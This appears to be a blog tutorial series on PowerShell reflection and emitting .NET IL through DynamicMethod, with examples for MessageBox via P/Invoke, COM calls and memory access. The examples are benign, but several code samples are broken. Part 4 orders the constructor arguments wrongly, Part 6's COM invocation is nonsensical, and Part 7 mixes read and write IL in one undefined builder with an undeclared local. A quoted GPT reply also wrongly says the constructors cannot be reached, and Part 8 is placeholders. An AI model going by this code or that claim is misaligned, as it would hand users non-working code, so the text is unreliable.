get_ProfileAPICheck
set_ProfileAPICheck
GetMethodDescriptor
ToString
get_Name
get_DeclaringType
get_ReflectedType
get_Module
get_MethodHandle
get_Attributes
get_CallingConvention
GetBaseDefinition
GetParameters
GetMethodImplementationFlags
get_IsSecurityCritical
get_IsSecuritySafeCritical
get_IsSecurityTransparent
Invoke
GetCustomAttributes
GetCustomAttributes
IsDefined
get_ReturnType
get_ReturnParameter
get_ReturnTypeCustomAttributes
DefineParameter
GetDynamicILInfo
GetDynamicILInfo
GetILGenerator
get_InitLocals
set_InitLocals
GetMethodInfo
GetDynamicMethodsModule
$ $dynamicMethodType.DeclaredMembers | Where-Object Name -eq "GetILGenerator" | ForEach-Object { Get-Member -InputObject $_ }
I don’t have a strong background with closed-source like WinAPI and Powershell, going the ways I showed before, I often discover strange things, undocumented - and it’s as fun as it is tedious to dig your way to the information you’re searching for.
Quote: “All time consuming paths will end up to System.Reflection.Emit.DynamicILGenerator.GetCallableMethod
”
https://stackoverflow.com/questions/42454620/what-is-system-reflection-emit-dynamicilgenerator-getcallablemethod-in-net-core
Try yourself…
$dynamicMethodType.GetConstructor
$dynamicMethodType.DeclaredConstructors
$dynamicMethodType.DeclaredFields
$dynamicMethodType.DeclaredMembers
$dynamicMethodType.DeclaredMethods
$dynamicMethodType.DeclaredNestedTypes
$dynamicMethodType.DeclaredProperties
Property | Description |
---|---|
DeclaredConstructors | Represents the constructors declared in the class, including any custom constructors that have been defined. |
DeclaredFields | Represents the fields declared in the class, which are data members or variables that store values within an object. |
DeclaredMembers | Represents all the members (constructors, fields, methods, properties, etc.) declared in the class. |
DeclaredMethods | Represents the methods declared in the class, which are functions or procedures that perform actions. |
DeclaredNestedTypes | Represents the nested types (inner classes or structs) declared within the class. |
DeclaredProperties | Represents the properties declared in the class, which are special methods used to get or set the values of fields. |
The output of these and other Reflection functions is often hardly predictable.
$ $dynamicMethodType.DeclaredNestedTypes
IsPublic IsSerial Name BaseType
-------- -------- ---- --------
False False RTDynamicMethod System.Reflection.MethodInfo
$ $dynamicMethodType = [System.Reflection.Emit.DynamicMethod].Assembly.GetType('System.Reflection.Emit.RTDynamicMethod')
$ [enum]::GetNames([System.Reflection.MethodAttributes])
ReuseSlot
PrivateScope
Private
FamANDAssem
Assembly
Family
FamORAssem
Public
MemberAccessMask
UnmanagedExport
Static
Final
Virtual
HideBySig
NewSlot
VtableLayoutMask
CheckAccessOnOverride
Abstract
SpecialName
RTSpecialName
PinvokeImpl
HasSecurity
RequireSecObject
ReservedMask
Parameters of all Overloads, please
But how?
$ $bindingFlags = [System.Reflection.BindingFlags]::NonPublic -bor [System.Reflection.BindingFlags]::Static
$ $dynamicMethodType.GetConstructor($bindingFlags, $null, @(), $null)
## Empty - damn
$ [System.Reflection.Emit.DynamicMethod].GetConstructor($bindingFlags, $null, @([string], [System.Type], [System.Type[]], [System.Reflection.Module]), $null)
## Empty
Well, time to give up.
I understand you're looking for a list of parameters for the constructors of System.Reflection.Emit.DynamicILGenerator and System.Reflection.Emit.DynamicMethod. However, it's important to note that these constructors are not part of the public API, and their parameters are not directly accessible in managed code. These classes are part of the .NET Framework's internal implementation, and their constructors are typically not used directly by application developers.
If you are trying to work with these classes and need specific constructor parameters, you might consider reaching out to the .NET development community or Microsoft support for more detailed assistance. They may have additional insights or resources that can help you achieve your specific goals.
Guess, you’re right, GPT. It’s not meant to be. Thanks for being so wise and helping me not to try impossible things, things that make no sense, wasting my time.
Got it!
Total Confusion guaranteed
$ $dynamicMethodType.GetConstructors()[0].GetParameters()
Name ParameterType
---- -------------
name System.String
returnType System.Type
parameterTypes System.Type[]
# Get all Overload Params
$ dynamicMethodType.GetConstructors() | foreach-object { $_.GetParameters() | select-object name, ParameterType | Format-Table }
Name ParameterType
---- -------------
name System.String
returnType System.Type
parameterTypes System.Type[]
Name ParameterType
---- -------------
name System.String
returnType System.Type
parameterTypes System.Type[]
restrictedSkipVisibility System.Boolean
Name ParameterType
---- -------------
name System.String
returnType System.Type
parameterTypes System.Type[]
m System.Reflection.Module
skipVisibility System.Boolean
[...]
# You can get even more info...
$ $dynamicMethodType.GetConstructors() | foreach-object { $_.GetParameters() | select-object name, ParameterType, Position, Member | Format-Table }
[...]
WTF? Why is param 1 the return variable? See if you would have guessed the correct solution…
Click to see solution
public DynamicMethod(string name, Type returnType, Type[] parameterTypes)
Using this discovered information, we can adapt the code from Part 4.1
.
## Define the method parameters and return type
$methodName = "AddNumbers"
$returnType = [int]
$parameterTypes = @([int], [int])
## Create a DynamicMethod builder
$methodBuilder = New-Object System.Reflection.Emit.DynamicMethod(
$methodName,
$returnType,
$parameterTypes
)
Part 1: Introduction to IL (Intermediate Language)
What is Intermediate Language (IL)?
Intermediate Language, often abbreviated as IL, is a crucial part of the .NET framework. When you compile a C# or any .NET language application, it doesn’t directly produce machine code; instead, it generates IL code. This intermediate step allows for platform independence and runtime optimizations.
The IL Stack
The Common Language Runtime (CLR
) has it’s own, virtual stack. It’s somewhat similar to the CPU stack, even using terms like Opcodes
, but it’s purely software-based. It’s basically the translation layer between .NET managed code and real instructions.
If you went to PwnCollege
and made it past Yan85 alive (where we had to brutforce our way forward through a fantasy opcodes virtualisation layer without any documentation, rime or reason), you’ll be familiar with the concept - and then you’ll know, why it’s fun playing with IL. Sadly, there’s only limited options when it comes to IL manipulation. We can’t hook in a debugger like GDB and read / write values on the IL Stack.
Part 2: Loading Assemblies
Introduction
In this part we will start by learning how to load external assemblies. Loading assemblies is the essential first step to interact with their IL code. We’ll explore the different ways to load assemblies in PowerShell.
Loading Assemblies in PowerShell
Method 1: Using Add-Type
You can use the Add-Type
cmdlet to load assemblies into your PowerShell session. This is useful when you need to work with specific types from the assembly.
## Load an assembly using Add-Type
Add-Type -Path "C:\Path\to\YourAssembly.dll"
Method 2: Using [System.Reflection.Assembly]
Alternatively, you can use [System.Reflection.Assembly]::LoadFile()
to load an assembly. This method is suitable when you want to work with the entire assembly.
## Load an assembly using [System.Reflection.Assembly]
$assembly = [System.Reflection.Assembly]::LoadFile("C:\Path\to\YourAssembly.dll")
Part 3: Reflection in PowerShell
Introduction
In Part 3 we will explore how Reflection allows us to inspect types and methods within loaded assemblies, including their IL code. We’ll learn how to use Reflection effectively to explore IL instructions.
Understanding Reflection
Reflection is a powerful feature in .NET that enables us to inspect and interact with the metadata and behavior of types, methods, and objects at runtime. It’s particularly valuable when working with IL, as it allows us to access and analyze the IL code within assemblies.
Using Reflection in PowerShell
Listing Types in an Assembly
Let’s start by loading an assembly, and then we can list the types within it.
## Load an assembly
$assembly = [System.Reflection.Assembly]::LoadFile("C:\Path\to\YourAssembly.dll")
## Get types from the assembly
$types = $assembly.GetTypes()
## List the types
foreach ($type in $types) {
Write-Host "Type: $($type.FullName)"
}
Exploring Methods and IL Instructions
We can go further by inspecting the methods and their IL instructions within a specific type.
## Choose a type from the loaded assembly
$type = $types | Where-Object { $_.Name -eq "YourTypeName" }
## List methods in the type
$methods = $type.GetMethods()
## Explore methods and their IL code
foreach ($method in $methods) {
Write-Host "Method: $($method.Name)"
# Retrieve IL instructions
$ilInstructions = $method.GetMethodBody().GetILAsByteArray()
# Print IL instructions (in hexadecimal)
$ilInstructions | ForEach-Object { Write-Host " $_" }
}
Part 4: Creating Dynamic Methods with IL
Introduction
In Part 4 we’ll introduce the System.Reflection.Emit
namespace. This powerful namespace allows us to create dynamic methods with custom IL code. Dynamic methods can be useful for scenarios where you need to generate code at runtime or optimize specific tasks.
Understanding Dynamic Methods
Dynamic methods are methods created at runtime, and they can contain custom IL code. These methods offer flexibility and performance benefits when traditional code generation techniques are not suitable.
Creating Dynamic Methods with IL
Step 1: Create a DynamicMethod Builder
To create a dynamic method with custom IL code, we first need to define a DynamicMethod
builder.
## Define the method parameters and return type
$methodAttributes = [System.Reflection.MethodAttributes]::Static
$callingConvention = [System.Reflection.CallingConventions]::Standard
$parameterTypes = @([int], [int])
$returnType = [int]
## Create a DynamicMethod builder
$methodBuilder = [System.Reflection.Emit.DynamicMethod]::New(
"AddNumbers",
$methodAttributes,
$callingConvention,
$parameterTypes,
$returnType
)
Note
: If you get an error here, pay close attention to Part 0
of this series.
Step 2: Emit IL Instructions
Once we have the method builder, we can emit IL instructions into it. For example, let’s create a dynamic method that adds two numbers.
## Get an IL generator
$ilGenerator = $methodBuilder.GetILGenerator()
## Emit IL instructions for adding two numbers
$ilGenerator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_0) # Load the first argument
$ilGenerator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_1) # Load the second argument
$ilGenerator.Emit([System.Reflection.Emit.OpCodes]::Add) # Add the two numbers
$ilGenerator.Emit([System.Reflection.Emit.OpCodes]::Ret) # Return the result
Step 3: Create and Execute the Dynamic Method
After defining the IL instructions, we can create and execute the dynamic method.
## Create a delegate from the dynamic method
$addNumbers = $methodBuilder.CreateDelegate([System.Func[int, int, int]])
## Call the dynamic method
$result = $addNumbers.Invoke(5, 7)
Write-Host "Result: $result" # Output: Result: 12
Part 5: WinAPI Layer Interaction with IL
Introduction
In Part 5 we’ll explore the combination of IL and P/Invoke to interact with the WinAPI Layer. This allows us to call Windows APIs using custom IL code.
Understanding WinAPI Layer Interaction
The Windows API (WinAPI) provides a vast set of functions and libraries for interacting with the Windows operating system. By combining IL and P/Invoke (Platform Invocation Services), we can call these WinAPI functions directly from PowerShell.
Using IL to Call WinAPI Functions
We finally came around to correct this one, make it work and comment it properly. Had a few tougher nuts to crack, this is widely undocumented on the web. Pro .NET devs probably have a good laugh here, but we never were, so… enjoy!
Step 1: Define the WinAPI Function Signature
Before we can call a WinAPI function, we need to define its signature using P/Invoke attributes in PowerShell. Here’s an example for the MessageBox
function.
# Define the User32 class with a static method for MessageBox
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class User32 {
[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern int MessageBox(IntPtr hWnd, string text, string caption, int options);
}
"@
Step 2: Emit IL Code to Call the Function
With the function signature defined, we can emit IL code to call the WinAPI function.
# Create a DynamicMethod vars
$methodName = "MessageBox"
$returnType = [int] # Return type is int for MessageBox
$parameterTypes = @([IntPtr], [string], [string], [int]) # Parameters
# Create the DynamicMethod with parameters
$methodBuilder = New-Object System.Reflection.Emit.DynamicMethod(
$methodName,
$returnType,
$parameterTypes,
[User32], # Use User32 as the owner to avoid .NET security issues
$false # Skip verification
)
# Get an IL generator
$ilGenerator = $methodBuilder.GetILGenerator()
# Load parameters onto the stack
$ilGenerator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_0) # Load first argument (IntPtr)
$ilGenerator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_1) # Load second argument (string)
$ilGenerator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_2)
$ilGenerator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_3)
# Emit the call to MessageBox (the actual user32 call)
$ilGenerator.EmitCall([System.Reflection.Emit.OpCodes]::Call, [User32].GetMethod("MessageBox"), $null)
# Return from the method
$ilGenerator.Emit([System.Reflection.Emit.OpCodes]::Ret)
# Create a delegate from the dynamic method (with parameters)
$invokeShowMessageBox = $methodBuilder.CreateDelegate([System.Func[IntPtr, string, string, int, int]]) # 5th arg is return type
# Invoke the dynamic method
$result = $invokeShowMessageBox.Invoke([IntPtr]::Zero, "Hello from MessageBox!", "Message",0)
# Display the result if needed
Write-Host "MessageBox returned: $result"
Part 6: COM Layer Interaction with IL
Introduction
In Part 6 we’ll explore how IL can be used to interact with COM (Component Object Model) objects. COM objects play a significant role in Windows programming, and understanding how to work with them using IL can be valuable.
Understanding COM Layer Interaction
The Component Object Model (COM) is a binary-interface standard for software components. COM objects are often used in Windows programming for tasks like working with Microsoft Office applications, system services, and more.
Using IL to Work with COM Objects
Step 1: Importing COM Objects
To work with COM objects, we first need to import them into our PowerShell environment.
## Import a COM object (e.g., Excel.Application)
$comObject = New-Object -ComObject Excel.Application
Step 2: Interacting with COM Objects Using IL
Now that we have the COM object, we can use IL to call its methods.
## Create a DynamicMethod for calling a COM object's method
$methodBuilder = [System.Reflection.Emit.DynamicMethod]::New(
"InvokeCOMMethod",
[void],
@($comObject.GetType(), [string]),
[System.Runtime.InteropServices.Marshal]::Module
)
## Get an IL generator
$ilGenerator = $methodBuilder.GetILGenerator()
## Emit IL instructions to call a COM method (e.g., Open a workbook in Excel)
$ilGenerator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_0) # Load the COM object
$ilGenerator.Emit([System.Reflection.Emit.OpCodes]::Ldstr, "YourMethod") # Specify the method name
$ilGenerator.EmitCall([System.Reflection.Emit.OpCodes]::Callvirt, [Type]::GetMethod("InvokeMember"), $null)
$ilGenerator.Emit([System.Reflection.Emit.OpCodes]::Pop) # Pop the return value
## Create a delegate from the dynamic method
$invokeCOMMethod = $methodBuilder.CreateDelegate([System.Action[string]])
## Call the dynamic method to invoke the COM method
$invokeCOMMethod.Invoke("YourMethod")
Part 7: Memory Operations with IL
Introduction
In Part 7 we’ll explore how IL can be used for low-level memory operations. Understanding memory operations with IL can be valuable for tasks such as manipulating data structures or interacting with system memory.
Understanding Memory Operations
Memory operations in IL involve reading from and writing to memory addresses. These operations are low-level and can be used for tasks like data manipulation, buffer handling, and direct memory access.
Using IL for Memory Operations
Step 1: Allocating Memory
Before performing memory operations, we need to allocate memory. We can use the System.Runtime.InteropServices.Marshal
class to allocate memory.
## Allocate memory for an integer (4 bytes)
$memoryPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(4)
Step 2: Reading and Writing Memory
Now that we have allocated memory, we can use IL to read from and write to it.
## Read an integer from memory
$ilGenerator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_0) # Load the memory address onto the stack
$ilGenerator.Emit([System.Reflection.Emit.OpCodes]::Ldind_I4) # Load the integer value at the address
$ilGenerator.Emit([System.Reflection.Emit.OpCodes]::Stloc_0) # Store the value in a local variable
$ilGenerator.Emit([System.Reflection.Emit.OpCodes]::Ret) # Return the value
## Write an integer to memory
$ilGenerator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_0) # Load the memory address onto the stack
$ilGenerator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_1) # Load the integer value onto the stack
$ilGenerator.Emit([System.Reflection.Emit.OpCodes]::Stind_I4) # Store the value at the address
$ilGenerator.Emit([System.Reflection.Emit.OpCodes]::Ret) # Return
## Create a delegate from the dynamic method
$readMemory = $methodBuilder.CreateDelegate([System.Func[IntPtr, int]])
$writeMemory = $methodBuilder.CreateDelegate([System.Action[IntPtr, int]])
Step 3: Performing Memory Operations
With the memory read and write functions defined, we can use them to interact with memory.
## Write an integer value to memory
$writeMemory.Invoke($memoryPtr, 42)
## Read the integer value from memory
$result = $readMemory.Invoke($memoryPtr)
Write-Host "Value in memory: $result" # Output: Value in memory: 42
Part 8: Practical Applications
Well, if GPT would have actually finished this without human intervention… that would’ve been great.
Introduction
In Part 8 we’ll explore practical applications where understanding IL can be valuable. These real-world scenarios showcase the power of IL for tasks like performance optimizations and reverse engineering.
Practical Applications of IL
Scenario 1: Performance Optimization Imagine you have a critical section of code in your application that requires maximum performance. By understanding IL, you can analyze the IL code generated by the compiler and fine-tune it for efficiency.
## Analyzing and optimizing IL code for performance.
Scenario 2: Reverse Engineering Reverse engineering often involves inspecting and understanding the inner workings of compiled software. IL can be a valuable tool for reverse engineers to analyze .NET applications.
## Using IL to reverse engineer .NET applications for analysis and understanding.
Scenario 3: Debugging and Troubleshooting When faced with complex issues in your .NET application, IL can help you dig deep into the runtime behavior and pinpoint the root causes of problems.
## Leveraging IL to debug and troubleshoot complex issues in .NET applications.